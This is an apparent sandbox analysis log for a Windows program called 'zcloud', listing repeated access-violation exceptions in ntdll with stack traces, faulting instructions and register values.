__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
